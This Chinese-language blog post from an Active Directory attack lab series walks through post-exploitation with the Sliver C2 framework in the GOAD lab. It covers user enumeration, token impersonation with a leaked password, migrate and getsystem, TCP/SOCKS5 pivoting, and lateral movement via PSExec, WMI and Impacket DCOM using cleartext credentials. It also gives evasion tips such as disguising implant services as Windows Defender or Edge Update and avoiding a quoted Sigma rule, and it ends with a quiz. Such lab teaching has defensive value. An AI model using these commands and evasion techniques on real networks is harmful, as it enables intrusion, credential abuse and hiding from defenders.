iT邦幫忙

2025 iThome 鐵人賽

DAY 26
0
Security

資安這條路:AD 攻防實戰演練系列 第 26

AD 攻防實戰演練 Day 26:Sliver C2 進階應用 - 從列舉到提升權限與橫向移動

  • 分享至 

  • xImage
  •  

image

前言

在 Day 25 中,我們學習了 Sliver C2 的基本操作。今天我們將深入探討從使用者列舉到橫向移動的完整攻擊鏈,包括:

  • 使用者列舉與分析
  • Token 操作的正確使用方式
  • Beacon 管理與身份切換
  • Pivoting 設置
  • 橫向移動技術(PSExec、WMI、DCOM)
  • OPSEC 和偵測規避

第一部分:域內偵察與使用者列舉

場景設定

假設我們已經在 GOAD 環境的 winterfell.north.sevenkingdoms.local 上建立了 Sliver beacon,目前身份是 NORTH\catelyn.stark

步驟 1: 本地使用者列舉

sliver (HEALTHY_MARACA) > seatbelt LocalUsers

image

image

image

image

====== LocalUsers ======

ComputerName   : localhost
UserName       : eddard.stark
Enabled        : True
Rid            : 1111
UserType       : Administrator
Comment        : Eddard Stark
PwdLastSet     : 9/7/2025 10:32:33 AM
LastLogon      : 10/9/2025 11:25:57 PM
NumLogins      : 1885                    ⚠️ 頻繁登入

UserName       : robb.stark
Enabled        : True
Rid            : 1113
UserType       : Administrator
Comment        : Robb Stark
LastLogon      : 10/9/2025 11:26:07 PM
NumLogins      : 13784                   🎯 超高活躍度

UserName       : samwell.tarly
Comment        : Samwell Tarly (Password : Heartsbane)  🔥 密碼洩漏!

關鍵發現

  • eddard.stark - 本地管理員,頻繁登入
  • robb.stark - 本地管理員,超高活躍度
  • samwell.tarly - 密碼洩漏:Heartsbane

步驟 2: 本地管理員群組分析

sliver (HEALTHY_MARACA) > seatbelt LocalGroups

image

** WINTERFELL\Administrators **

User    NORTH\eddard.stark      🎯 域管理員
Group   NORTH\Domain Admins     🔥 整個群組都是管理員
User    NORTH\robb.stark        🎯 本地管理員

image

步驟 3: 域使用者深度列舉

sliver (HEALTHY_MARACA) > execute-assembly /opt/SharpCollection/NetFramework_4.7_Any/SharpView.exe Get-NetUser

image

# 關鍵發現:
# 1. eddard.stark - 域管理員
# 2. jon.snow - TRUSTED_TO_AUTH_FOR_DELEGATION(約束委派)
# 3. brandon.stark - DONT_REQ_PREAUTH(AS-REP Roasting 目標)
# 4. sansa.stark - ServicePrincipalName(Kerberoasting 目標)

1) eddard.stark 是域管理員 (Domain Admin)

  • 關鍵欄位
    • samaccountname : eddard.stark
    • memberof : { ..., CN=Domain Admins,CN=Users,DC=north,DC=sevenkingdoms,DC=local, CN=Administrators,CN=Builtin,... }
    • admincount : 1
  • 為什麼能判斷
    • 成員屬於 Domain Admins 群組即為域管。
    • admincount: 1 也常見於受保護帳號(例如域管)→ 會被 AdminSDHolder/SDProp 保護。

2) jon.snow 具 TRUSTED_TO_AUTH_FOR_DELEGATION(約束委派 / Constrained Delegation)

  • 關鍵欄位
    • samaccountname : jon.snow
    • useraccountcontrol : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD, TRUSTED_TO_AUTH_FOR_DELEGATION
    • msds-allowedtodelegateto : {CIFS/winterfell, CIFS/winterfell.north.sevenkingdoms.local}
    • ServicePrincipalName : CIFS/thewall.north.sevenkingdoms.local
  • 為什麼能判斷
    • TRUSTED_TO_AUTH_FOR_DELEGATION 表示啟用 Kerberos Constrained Delegation (S4U2Self/S4U2Proxy)
    • msds-allowedtodelegateto 明確列出「允許代理的目標服務」(此為約束委派的目標服務清單)。
    • 帳號本身有 SPN(如 CIFS/...)通常代表服務身分,常見於可被設定委派的情境。

3) brandon.stark 可做 AS-REP Roasting(因為 DONT_REQ_PREAUTH)

  • 關鍵欄位
    • samaccountname : brandon.stark
    • useraccountcontrol : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD, **DONT_REQ_PREAUTH**
  • 為什麼能判斷
    • DONT_REQ_PREAUTH 關閉了 Kerberos 預驗證,任何人都可向 KDC 要到 AS-REP(含可離線爆破的加密片段),因此是 AS-REP Roasting 的標準目標。

4) sansa.stark 具 ServicePrincipalName(Kerberoasting 目標)

  • 關鍵欄位
    • samaccountname : sansa.stark
    • ServicePrincipalName : **HTTP/eyrie.north.sevenkingdoms.local**
  • 為什麼能判斷
    • 任何 使用者帳號 只要綁了 SPN,就會成為 Kerberoasting 目標(可向 KDC 請票並離線破解服務金鑰)。
    • 這裡的 HTTP/eyrie... 明確顯示 SPN 綁在使用者上(而非電腦帳號)。

第二部分:Token 操作與 Beacon 管理

重要概念:Sliver 的 Token 操作機制

基於實際測試,Sliver 的 token 操作有以下特性:

指令 本地身份改變 網路憑證改變 建立新 Beacon 主要用途
make-token ❌ 否 ✅ 是 ❌ 否 網路資源存取
migrate ✅ 是 ✅ 是 切換到其他處理程序
getsystem ✅ 是 ✅ 是 提升為 SYSTEM

場景 1: 使用洩漏的密碼進行網路存取

# 使用 samwell.tarly 的洩漏密碼
sliver (HEALTHY_MARACA) > make-token -u samwell.tarly -d NORTH -p Heartsbane

image

[*] Successfully impersonated NORTH\samwell.tarly. Use `rev2self` to revert.

# 完成後清理
sliver (HEALTHY_MARACA) > rev2self

場景 2: 使用 Migrate 切換身份

image

# 查找目標使用者的處理程序
sliver (HEALTHY_MARACA) > ps

Pid    Owner                Arch    Executable              Session
====== ==================== ======= ======================= =========
4820   NORTH\robb.stark     x86_64  explorer.exe            1        🎯

image

# Migrate 到 robb.stark 的處理程序
sliver (HEALTHY_MARACA) > migrate -p 4820

[*] Successfully migrated to 4820
[*] Beacon 7c9fe0da HEALTHY_MARACA - 192.168.139.11:58083 (winterfell)
                                                          ✅ 建立了新 beacon!

image

# 列出所有 beacons
sliver (HEALTHY_MARACA) > beacons

 ID         Username              Last Check-In
========== ===================== ===============
 478923fe   NORTH\catelyn.stark   1m ago          ⬅️ 原始 beacon
 7c9fe0da   NORTH\robb.stark      10s ago         ⬅️ 新 beacon

image

# 切換到新 beacon
sliver (HEALTHY_MARACA) > use 7c9fe0da

# 確認新身份
sliver (HEALTHY_MARACA) > whoami
Logon ID: NORTH\robb.stark                  ✅ 身份已改變!

場景 3: 提升為 SYSTEM

# 使用 getsystem 提升權限
sliver (HEALTHY_MARACA) > getsystem

[*] A new SYSTEM session should pop soon...
[*] Beacon 914895fd HEALTHY_MARACA - 192.168.139.11:58111 (winterfell)

# 切換到 SYSTEM beacon
sliver (HEALTHY_MARACA) > use 914895fd

sliver (HEALTHY_MARACA) > whoami
Logon ID: NT AUTHORITY\SYSTEM              ✅ 最高權限!

image
image

第三部分:Pivoting 與網路穿透

為什麼需要 Pivoting?(舉例)

在多層網路環境中,攻擊機無法直接存取內部網路。我們需要透過已入侵的機器作為跳板。

因 GOAD 機器都在相同網段,因此以下 IP 為舉例。

攻擊機 (10.10.14.66)
    ↓
外部機器 WEB01 (10.129.205.234 | 172.16.1.11)
    ↓
內部機器 SRV01/SRV02 (172.16.1.12/13)

方法 1: TCP Pivot

# 在 WEB01 上建立 TCP pivot listener
sliver (http-beacon) > pivots tcp --bind 172.16.1.11

[*] Started tcp pivot listener 172.16.1.11:9898 with id 1

# 生成指向 pivot 的 implant
sliver (http-beacon) > generate --format service -i 172.16.1.11:9898 --skip-symbols -N pivot-implant

[*] Generating new windows/amd64 implant binary
[*] Build completed in 3s
[*] Implant saved to /home/user/pivot-implant.exe

# 查看 pivot 狀態
sliver (http-beacon) > pivots

 ID   Protocol   Bind Address       Number Of Pivots 
==== ========== ================== ==================
  1   TCP        172.16.1.11:9898                  0

方法 2: SOCKS5 代理

# 啟動 SOCKS5 代理
sliver (http-beacon) > socks5 start

[*] Started SOCKS5 127.0.0.1:1081

# 配置 proxychains(在攻擊機)
sudo nano /etc/proxychains4.conf
# 添加:
socks5 127.0.0.1 1081

# 測試代理
proxychains crackmapexec smb 172.16.1.12 -u svc_sql -p jkhnrjk123!
SMB  172.16.1.12  445  SRV01  [+] NORTH\svc_sql:jkhnrjk123!

方法 3: 端口轉發

# 轉發 RDP 端口
sliver (http-beacon) > portfwd add --bind 127.0.0.1:3389 --remote 172.16.1.12:3389

[*] Port forwarding 127.0.0.1:3389 -> 172.16.1.12:3389

# 現在可以本地連接
xfreerdp /v:127.0.0.1 /u:svc_sql /p:jkhnrjk123! /d:NORTH

OPSEC 改進建議

# ❌ 不好的做法(容易被偵測)
sliver > psexec srv01.local

# ✅ 好的做法
sliver > psexec \
    --custom-exe /path/to/implant.exe \
    --service-name "WindowsDefender" \          # 使用合理的服務名
    --service-description "Windows Defender" \  # 描述要合理
    srv01.local

PSExec 的偵測指標

  • Event ID 7045 (新服務安裝)
  • C:\Windows\Temp 中的隨機檔名
  • 服務名稱為 "Sliver" 或描述為 "Sliver implant"

方法 2: WMI

WMI 是原生的 Windows 管理工具,較不容易被偵測。

# 1. 上傳 implant 到目標
sliver (http-beacon) > make-token -u svc_sql -d NORTH -p jkhnrjk123!

sliver (http-beacon) > shell

PS> cd \\srv02.north.sevenkingdoms.local\c$\windows\tasks
PS> # 從 WEB01 複製 implant 到 SRV02
PS> copy C:\Windows\Temp\wmi-implant.exe \\srv02...\c$\windows\tasks\

# 2. 使用 WMI 執行
sliver (http-beacon) > execute -o wmic /node:172.16.1.13 /user:svc_sql /password:jkhnrjk123! process call create "C:\\windows\\tasks\\wmi-implant.exe"

[*] Output:
Executing (Win32_Process)->Create()
Method execution successful.
ProcessId = 1128
ReturnValue = 0

# 3. 等待新 beacon
[*] Session d35ddf7e wmi-implant - ... (srv02) - NORTH\svc_sql

替代方案:使用 wmiexec.py

# 透過 proxychains 使用 Impacket
proxychains impacket-wmiexec north/svc_sql:jkhnrjk123!@172.16.1.13

C:\> hostname
srv02

C:\> whoami
north\svc_sql

方法 3: DCOM

DCOM 更隱蔽,因為有多種方法和不同的 IOC。

proxychains impacket-dcomexec -object MMC20 north/svc_sql:jkhnrjk123!@172.16.1.13

C:\> hostname
srv02

橫向移動方法對比

方法 權限 隱蔽性 網路埠 日誌記錄 清理
PSExec Admin ⭐⭐ 445 (SMB) Event 7045 自動清理服務
WMI Admin ⭐⭐⭐ 135, 445 WMI 日誌 需手動清理檔案
DCOM Admin ⭐⭐⭐⭐ 135 較少日誌 取決於方法

第四部分:OPSEC 與偵測規避

1. Shell 指令的偵測

問題:Sliver 的 shell 指令使用固定參數

# Sliver 使用的 PowerShell 參數
-NoExit -Command [Console]::OutputEncoding=[Text.UTF8Encoding]::UTF8

Sigma 規則(會被偵測):

detection:
    selection:
        CommandLine|contains: '-NoExit -Command [Console]::OutputEncoding=[Text.UTF8Encoding]::UTF8'

規避方式

  • 使用 execute 而非 shell
  • 修改 Sliver 源碼中的 PowerShell 啟動參數

2. GetSystem 的偵測

問題:預設注入到 spoolsv.exe,會被監控

# ❌ 預設(容易被偵測)
sliver > getsystem

# ✅ 改進(指定其他處理程序)
sliver > getsystem -p svchost.exe

偵測指標

  • SeDebugPrivilege 被啟用
  • CreateRemoteThreadApiCall 到 spoolsv.exe
  • 來自非預期處理程序的 LSASS 存取

3. PSExec 的偵測

問題:預設行為容易被偵測

# Velociraptor 偵測規則
PathName =~ ":\\\\Windows\\\\Temp\\\\[a-zA-Z0-9]{10}\\.exe"
ServiceName =~ "^Sliver$"
Description =~ "Sliver implant"

規避方式

# ❌ 不好
sliver > psexec srv01.local

# ✅ 好
sliver > psexec \
    --custom-exe /path/to/implant.exe \
    --service-name "MicrosoftEdgeUpdate" \
    --service-description "Microsoft Edge Update Service" \
    --binpath "c:\\windows\\system32" \
    srv01.local

4. Beacon 管理的最佳實踐

# 1. 重新命名 beacon 以便識別
sliver > use 7c9fe0da
sliver (HEALTHY_MARACA) > rename robb_stark_beacon

sliver > use 914895fd
sliver (HEALTHY_MARACA) > rename system_beacon

# 2. 查看所有 beacon
sliver > beacons

 ID         Name                Username              
========== =================== =====================
 478923fe   HEALTHY_MARACA      NORTH\catelyn.stark  
 7c9fe0da   robb_stark_beacon   NORTH\robb.stark     
 914895fd   system_beacon       NT AUTHORITY\SYSTEM  

# 3. 調整回連間隔(降低網路流量)
sliver > use system_beacon
sliver (system_beacon) > reconfig -i 300 -j 60
# 每 5 分鐘回連一次,抖動 60 秒

# 4. 完成任務後清理不需要的 beacon
sliver > use robb_stark_beacon
sliver (robb_stark_beacon) > kill

[*] Killed beacon 7c9fe0da

5. 多 Beacon 的風險管理

風險

  • 每個 beacon 都會產生網路流量
  • 多個異常處理程序連線會被發現
  • 記憶體注入可能觸發 EDR

降低風險

# 1. 最小化 beacon 數量
# 只保留必要的 beacon(通常 1-2 個就足夠)

# 2. 選擇合適的處理程序
# ✅ 好的選擇:explorer.exe, svchost.exe, RuntimeBroker.exe
# ❌ 避免:notepad.exe, cmd.exe, 防毒相關處理程序

# 3. 完成任務後立即清理
sliver > use temp_beacon
sliver > # 執行必要操作
sliver > kill

第五部分:實戰決策樹

Token 操作決策樹

需要新身份?
│
├─ 有明文密碼?
│  ├─ 是 → 需要改變本地身份?
│  │      ├─ 否 → make-token(網路存取)      ✅ 最簡單
│  │      └─ 是 → migrate 到目標處理程序        ⚠️ 建立新 beacon
│  │
│  └─ 否 → 目標使用者有處理程序?
│         ├─ 是 → migrate -p <PID>              ✅ 推薦
│         └─ 否 → 需要先獲取憑證
│
└─ 只需要 SYSTEM?
   └─ getsystem(如果是管理員)                 ✅ 簡單直接

橫向移動決策樹

需要橫向移動?
│
├─ 有管理員憑證?
│  ├─ 是 → 網路可達性?
│  │      ├─ 直接可達 → 選擇方法:
│  │      │              - PSExec(最快,但較明顯)
│  │      │              - WMI(中等隱蔽)
│  │      │              - DCOM(最隱蔽)
│  │      │
│  │      └─ 需要 Pivot → 建立 TCP pivot 或 SOCKS5
│  │
│  └─ 否 → 需要先提權或取得憑證
│
└─ 目標機器防護?
   ├─ 有 EDR → 使用更隱蔽的方法(DCOM/WMI)
   └─ 基本防護 → PSExec 可用(但記得改參數)

指令速查表

Token 操作

指令 語法 用途 備註
make-token make-token -u <user> -d <domain> -p <pass> 網路資源存取 不改變本地身份
migrate migrate -p <PID> 切換到其他處理程序 建立新 beacon
getsystem getsystem [-p <process>] 提升為 SYSTEM 建立新 beacon
rev2self rev2self 還原原始身份 清理 make-token
whoami whoami 查看當前身份 -

Beacon 管理

指令 語法 用途
beacons beacons 列出所有 beacon
use use <beacon-id> 切換到指定 beacon
rename rename <new-name> 重新命名 beacon
kill kill 終止當前 beacon
reconfig reconfig -i <interval> -j <jitter> 調整回連設定

Pivoting

指令 語法 用途
pivots tcp pivots tcp --bind <ip> 建立 TCP pivot
pivots pivots 列出 pivot listeners
socks5 socks5 start 啟動 SOCKS5 代理
portfwd portfwd add --bind <local> --remote <remote> 端口轉發

橫向移動

指令 語法 用途
psexec psexec --custom-exe <path> <host> PSExec 橫向移動
execute execute -o <command> 執行命令

總結

攻擊鏈總覽

1. 初始存取 (catelyn.stark - 本地管理員)
   ↓
2. 使用者列舉 (Seatbelt + SharpView)
   ├─ 本地使用者
   ├─ 本地管理員群組
   └─ 域使用者
   ↓
3. 發現高價值目標
   ├─ eddard.stark (域管理員)
   ├─ robb.stark (活躍的本地管理員)
   └─ samwell.tarly (密碼洩漏: Heartsbane)
   ↓
4. Token 操作 / 身份切換
   ├─ make-token(網路存取)
   ├─ migrate(切換處理程序)
   └─ getsystem(提升為 SYSTEM)
   ↓
5. 設置 Pivoting(如需要)
   ├─ TCP pivot
   ├─ SOCKS5 代理
   └─ 端口轉發
   ↓
6. 橫向移動
   ├─ PSExec
   ├─ WMI
   └─ DCOM
   ↓
7. 域控制器入侵
   ├─ 傾印憑證
   └─ DCSync 攻擊
   ↓
8. 清理與持久化
   └─ 清理不需要的 beacon

關鍵要點

  1. make-token 用於網路資源存取,不改變本地身份
  2. migrate 是切換身份的主要方法,會建立新 beacon
  3. 多 beacon 管理很重要,要善用 use, rename, kill
  4. Pivoting 是存取內部網路的關鍵
  5. OPSEC 很重要,要避免使用預設參數
  6. 清理痕跡,完成任務後清理不需要的 beacon

小試身手

題目 1:Token 操作理解

執行 make-token -u samwell.tarly -d NORTH -p Heartsbane 後,下列哪個操作會成功?

A. whoami 會顯示 NORTH\samwell.tarly
B. migrate -p 4820 會失敗
C. net use \\server\C$ 會使用 samwell.tarly 的憑證
D. getsystem 會失敗

✅ 正確答案:C

解析: make-token 建立的是網路憑證,不會改變本地身份(排除 A)。make-token 不影響 migrategetsystem 的執行(排除 B、D)。只有網路存取(如 net use)會使用新憑證。

題目 2:Migrate 的行為

執行 migrate -p 4820 成功後,會發生什麼?

A. 當前 beacon 的身份改變
B. 建立一個新的 beacon
C. 原始 beacon 被終止
D. 所有 beacon 都會改變身份

✅ 正確答案:B

解析: migrate 會建立一個新的 beacon,注入到目標處理程序。原始 beacon 仍然存在且身份不變。需要使用 use 切換到新 beacon。

題目 3:Pivoting 方法選擇

內部機器 192.168.1.100 無法直接連接,但可以透過已入侵的 WEB01 (172.16.1.11) 存取。要使用 Impacket 工具,最適合的方法是?

A. TCP pivot
B. SOCKS5 代理 + proxychains
C. 端口轉發
D. 不需要 pivoting

✅ 正確答案:B

解析: Impacket 工具需要透過代理訪問整個網段,SOCKS5 + proxychains 是最合適的方案。TCP pivot 用於 Sliver implant,端口轉發只能存取單一服務。

題目 4:橫向移動方法比較

在高度監控的環境中,需要橫向移動到另一台機器,最隱蔽的方法是?

A. PSExec
B. WMI
C. DCOM
D. RDP

✅ 正確答案:C

解析: DCOM 是最隱蔽的方法,因為:

  1. 有多種不同的方法(MMC20, ShellWindows 等)
  2. 每種方法的 IOC 不同,更難建立檢測規則
  3. 產生的日誌相對較少

PSExec 會產生 Event ID 7045(新服務),WMI 會產生 WMI 日誌,RDP 會產生登入日誌。

題目 5:OPSEC 最佳實踐

下列哪個 PSExec 用法最安全?

A. psexec srv01.local
B. psexec --service-name Sliver srv01.local
C. psexec --custom-exe /path/to/implant.exe --service-name MicrosoftUpdate --service-description "Microsoft Update Service" srv01.local
D. psexec --service-name backdoor srv01.local

✅ 正確答案:C

解析: 選項 C 做到了:

  1. 使用自定義 implant(避免特徵碼偵測)
  2. 服務名稱偽裝成合法服務
  3. 描述也合理

選項 A 使用預設參數(服務名 "Sliver",容易被偵測)。選項 B 和 D 的服務名稱都很可疑。

題目 6:Beacon 管理

有 3 個 beacons 在運行,要切換到 robb.stark 的 beacon(ID: 7c9fe0da)並檢查身份,正確的操作順序是?

A. whoamiuse 7c9fe0da
B. use 7c9fe0dawhoami
C. beaconswhoamiuse 7c9fe0da
D. rename robbuse 7c9fe0dawhoami

✅ 正確答案:B

解析: 正確順序是:

  1. 先用 use 切換到目標 beacon
  2. 再用 whoami 檢查身份

選項 A 順序錯誤。選項 C 多了不必要的 beacons(雖然沒錯,但不是最佳答案)。選項 D 的 rename 在沒有切換 beacon 前執行會重新命名當前 beacon。


上一篇
AD 攻防實戰演練 Day 25:Sliver C2 實戰─從初始存取到域滲透
系列文
資安這條路:AD 攻防實戰演練26
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言